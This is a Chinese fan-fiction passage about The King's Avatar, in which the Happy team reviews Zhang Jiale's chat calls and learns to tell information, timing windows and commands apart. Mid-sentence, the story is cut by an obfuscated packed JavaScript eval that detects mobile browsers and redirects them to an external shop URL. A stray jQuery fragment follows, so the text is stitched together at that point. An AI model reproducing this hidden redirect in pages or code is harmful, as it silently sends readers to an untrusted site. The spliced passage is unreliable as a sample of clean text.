午饭以后,兴欣的训练室里拉下了投影幕,屏幕上却没有出现比赛画面,先放出来的是一页聊天记录。
这种复盘方式让陈果觉得很新鲜。职业比赛她看过不少,赛后解说也经常会提到队伍频道里的某一句关键消息,可把整段文字通信单独拉出来当材料研究,她还真是头一回见。更何况被拉出来研究的这个人是张佳乐,一个当过多年队长、职业履历明明白白摆在那里的全明星选手。
魏琛的椅子往后一靠,摆出一副准备听课的架势:“来,让老夫学习一下全明星级打字。”
“你要是再说一句废话,我下午专门追你。”张佳乐头都没抬。
“复盘期间允许口头交流,你这威胁不合规矩。”魏琛说得振振有词,还扭头去找证人,“老板,听见没有?”
陈果懒得理他们。
叶修没管这两个,把其中一段记录框了出来。十七秒的时间里,浅花迷人一共发了七条消息。这七条不啰嗦,甚至可以说相当简洁,一条超过十个字的都没有。问题不在长短,在于它们承担的功能并不一样:有的是看到敌方位置以后的情报,有的是对一个攻击窗口还能持续多久的判断,有的却已经越过了情报和判断,直接替队友把下一步该做什么给定好了。
“前面的都没问题。”叶修把光标停在最后两条上,“后面的也不是错。”
“那你想说什么?”张佳乐看着屏幕上被框住的那几行。那一段交火他记得很清楚,从头到尾没出岔子,队伍甚至就是从那里开始把主动权拿回来的。
“你把答案一起发了。”叶修说。
“比赛里不给答案,等他们自己讨论?”张佳乐反问了一句。上午那几轮打得有多急他最清楚,一个窗口就是两三秒,谁也等不起。
“队伍频道不是QQ群。”叶修说,“也没人让他们讨论。我是说,该他们做的那一步,你一起替他们做完了。”
陈果没忍住笑了一下。张佳乐却知道叶修在说什么。职业比赛里的文字交流之所以总是那么短,不只是因为所有人都忙着操作,更因为一支磨熟了的队伍根本不需要把每个判断写成完整的句子。
队长发一个“收”,全队就知道该退到哪一层;治疗发一个“断”,前排自己会去算还有没有交换的空间;地图上某个地名一冒出来,负责那条线的人自然知道要看什么。这些东西没有一条写在战术板上,全是几千场训练磨出来的默认。
兴欣没有这些。这支队伍才组起来多久,一个“收”字发出去,四个人可能有四种理解,谁都不敢照着动。上午打的时候张佳乐看得很清楚,处理得也很直接:默认的东西还没长出来,那就临时写出来。他的每一条消息都把话说到底,说到不需要任何人再问第二句为止。
叶修把录像拖到中段。那一段里君莫笑突然贴上了浅花迷人,张佳乐连续两秒没能在队伍频道里发出任何东西。就是这两秒,寒烟柔面前露出了一个可以试一试的攻击窗口,一寸灰也已经站到了能换阵的位置,两个人却都没有动。一直等到浅花迷人摆脱君莫笑,频道里出现那句“右可压,一帆阵,唐柔跟”,他们才一起动了起来。
“他们不是不会。”张佳乐说。
“嗯。”叶修点了点头,把那两秒又倒回去放了一遍,“是在等你最后确认。”
这个说法比“新人依赖大神”要准确,也麻烦得多。唐柔当然能自己看出机会,乔一帆也不是看不到阵位,问题是上午那几轮里,张佳乐发出去的每一条最终指令都很准,等他的消息就成了这支队伍里成本最低的选择。
既然半秒以后总会有一个更完整、更可靠的答案送到眼前,谁还会急着去做自己那个不一定对的判断?这不是懒,是队伍自己算出来的最优解,而这个最优解,是张佳乐一条一条亲手喂出来的。
“所以你要我少打字?”张佳乐问。
“少打没用。”叶修说,“你不发,他们照样可以等。等不到就自己乱,那更糟。”
“那练什么?”张佳乐问。他并不反对这个说法,只是想不出在比赛那种节奏里还能怎么练。
叶修没有直接回答,把三条消息并排放到了屏幕上。
右有人。
右断两秒。
唐柔右进。
“这三句一样吗?”叶修问。
“废话。”张佳乐说。
“对你不一样,对他们一样。”叶修说,“第一句只是信息,你告诉他们右边有人,接下来怎么办是他们自己的事;第二句是窗口,你把时间也算好了,可要不要用还是他们的事;第三句是命令,唐柔看到它就只剩下一件事,进。上午你把这三种混在一起发,发得又都对,他们分不出哪一句该自己接着想,哪一句只要执行,最后干脆就都不想了。”
“那我以后在前面标个类型?”张佳乐盯着屏幕看了一会儿。这是最省事的办法,敲三个字的事。
“标了他们记的是标签。”叶修说。
张佳乐没再接话。屏幕上那三句,最前面都是同一个“右”字。同一个字,可以是右边有人,可以是右边能走,也可以是全队转右——上午这三种意思他都发过,发的时候还完全没觉得有什么问题,因为在百花,这三种情况下他根本不会都用“右”开头。
文字通信本来就比开口说话更容易出歧义,几个字砸过去,语气、停顿、轻重全都没了,只剩下字面。老队伍靠上千场训练把字面之外的东西补齐,新队伍没有这个补偿,字越少,撞得越狠。
叶修又把上午的几段录像调了出来,让罗辑顺手把输入时机也标上。画面下方于是多出一条细线,浅花迷人每敲一次字,那里就亮一下。
“标好了。”罗辑的声音从笔记本里传出来,“上午三局,三十七次。”
一条细线亮了三十七下。张佳乐看了两遍就挑出其中两次——那两下本来还能再补一发普通射击;还有一次是他连着发了两条消息,浅花迷人的转视角比正常慢了很短的一点。这点时间在今天的训练里没有造成任何结果,对面终究是自家公会的人,压力还不够。可他打了这么多年职业,很清楚这种“没造成结果”是有条件的,放到真正的职业强度里,未必还能这么免费。
“所以不是字越多越负责。”叶修说。
“这道理我当然知道。”张佳乐说。
“知道和现在做到是两回事。”叶修把录像关了,屏幕上重新只剩那一页聊天记录。
张佳乐没反驳。他在百花那几年也从来不靠长句子指挥,原因恰恰相反——不是他懂得节制,是那几个人早就熟到根本不需要。现在到了兴欣,为了让所有人立刻明白,他只能把本该躺在默契里的东西一条一条临时写出来。这么干能让训练马上转起来,可它同时也说明了一件事:兴欣缺的不是一个能把话说明白的队长。
下午开训以前,叶修把白板重新写了一遍。原本十几个地标砍到了八个,只留最常用、最不容易叫混的那几块区域;治疗范围和撤退层级也没有编号,先用“可”“短”“断”三种状态统一起来。最上面横着写了三个词——信息、窗口、命令,每个下面各举两个例子,一句定义都没有。
张佳乐看着觉得朴素得有点过分,像是在给小学生上课。可再想想,兴欣现在确实没有成熟战队那种几千场训练沉淀下来的内部语言,与其从他熟悉的那套百花简称往下削,不如从最基础的地方重新统一,反倒省事。
下午第一轮,张佳乐没有刻意闭嘴,也没有刻意少打字,他只是把原本会直接指定到人的那半截拆掉了。浅花迷人在右侧连着压了两枚手雷,把对面的视角硬生生逼得转了开去。按上午的习惯,他这时候会敲“唐柔右进”,最后发出去的却只有四个字:右断三秒。
寒烟柔的视角转了过去,停在那里,没有动。三秒过去,窗口关上了。
“为什么没进?”这一次张佳乐忍到一局结束才摘下耳机。
“小安够不到。”唐柔已经把录像停在了那一帧。
“我要跟过去,左线会断。”安文逸补了一句。
张佳乐把那一段重新看了一遍。站在浅花迷人的角度,那的确是个可以强行利用的窗口;从整队的角度看,不是。上午遇到同样的情况,他大概会直接让唐柔进去,再自己用几个技能把治疗线补回来——他有这个能力,也确实做得到。下午他没有给最后那半句,唐柔就自己把风险算完了,算出来的结果和他不一样。
窗口浪费了。
判断却是对的。
第二轮的情况更明显。浅花迷人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908759|213068||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在左侧做遮挡,只敲了“左短”两个字,一寸灰往前试了一步,很快又退了回来,在频道里只回了两个字:角差。寒烟柔跟着停住。没有人再等张佳乐补一句“那不进”,从遮挡打出去到两个人一起放弃,前后不到三秒,这一次连技能都没有多浪费。
包子的问题依旧是另一套逻辑。他从下层绕出去以后,忽然在队伍频道里冒出来一句。
包子入侵:我有机会。
张佳乐看到这四个字就开始头疼。所谓“有机会”,对包子来说可以包括很多东西:对面残血是机会,路近是机会,刚才那人打过他也是机会。这句话唯一没有包含的,恰恰是别人需要知道的那部分。上午他会直接接管,把包子和另外三个人的位置一起重新安排一遍;这一次他忍住了,只回了一个问号。
包子入侵:能打。
寒烟柔:哪。
包子入侵:后面。
小手冰凉:治疗不到。
包子自己停住了。张佳乐一个字都没发,寒烟柔和小手冰凉两句话就把他问停在了原地。
“我真的差点成功。”赛后包子还有点不满。
“你至少先让大家知道你在哪。”张佳乐说。
“我说后面了。”包子觉得自己已经说得很清楚。
“后面有三块区域。”
“那地图设计得太复杂。”包子理直气壮。
“你怪地图?”
“也可以怪对手移动。”
训练房里笑成一片。张佳乐没笑,他抬头往白板上看了一眼——“堆场后”和“左廊后”就写在那八个地标里,包子只要肯用,刚才那句话就成立了。
下午后半段,队伍频道越来越安静。不是没人发消息,而是消息不再每一条都需要张佳乐来收尾。
唐柔准备强进以前会先敲一个“进”;乔一帆看到位置不成立就直接回一个“弃”;安文逸的治疗角度彻底断掉,只发一个“断”,不解释为什么,也没人问他为什么;包子仍然是最不规范的那一个,但至少开始把“后面”改成“堆场后”或者“左廊后”了。
张佳乐的消息数量降了一截,浅花迷人的操作反而更完整了。这件事让他有些意外。打字要占操作,这一点他早就知道,上午罗辑标出来的那条细线也算不上什么新东西——顶尖职业选手本来就有能力在高压里完成必要的频道交流,他从没把这当成一个值得单独拿出来研究的问题。
可现在把那些本来可以由队友自己完成的判断减掉以后,他发现自己多出来的并不只是几个按键的时间,而是注意力。他不用再一直确认所有人下一步要做什么,只需要确认他们发出来的东西够不够用。
最后一轮,寒烟柔在正面逼出了一个位移,一寸灰自己从另一边换阵,小手冰凉只发了一个“可”,浅花迷人看到以后没有再补任何命令,手雷直接封向对方的退路。四个人的动作第一次不是从同一句指令里长出来的,却自然而然拼到了一起。
他们没赢。
君莫笑最后还是抓住了乔一帆吟唱时的一点破绽,先把阵鬼切掉了。
“上午赢了。”包子摘下耳机,第一句话就是这个。
“所以呢?”叶修问。
“上午比较好。”包子说得很肯定。
“除了你,谁觉得?”叶修问。
唐柔已经在看录像,头也没抬:“下午。”乔一帆跟着点了点头。安文逸说得更直接:“上午很多正确的决策不是我们做的。”
张佳乐没参与投票。
他一直在看那两页队伍频道记录。上午那一页密密麻麻,几乎全是浅花迷人一个人的名字;下午这一页稀稀拉拉,四个人的名字都在上面。叶修中午说的那句“先把话说清楚”,从头到尾就不是让兴欣的人学会在比赛里打更多的字,恰恰相反,是把那些不需要打出来的东西,一样一样练成默认。
职业队快的从来不是打字快。
是少敲几个字,队友也知道后面是什么。
兴欣还没有这个东西。张佳乐能替他们把话说明白,替不了他们把话省下来。白板上那八个地标、那三种状态,朴素得像是给小学生上课,可它们是这支队伍自己的第一批默认——他上午带进来的那套百花简称不是,将来也不会是。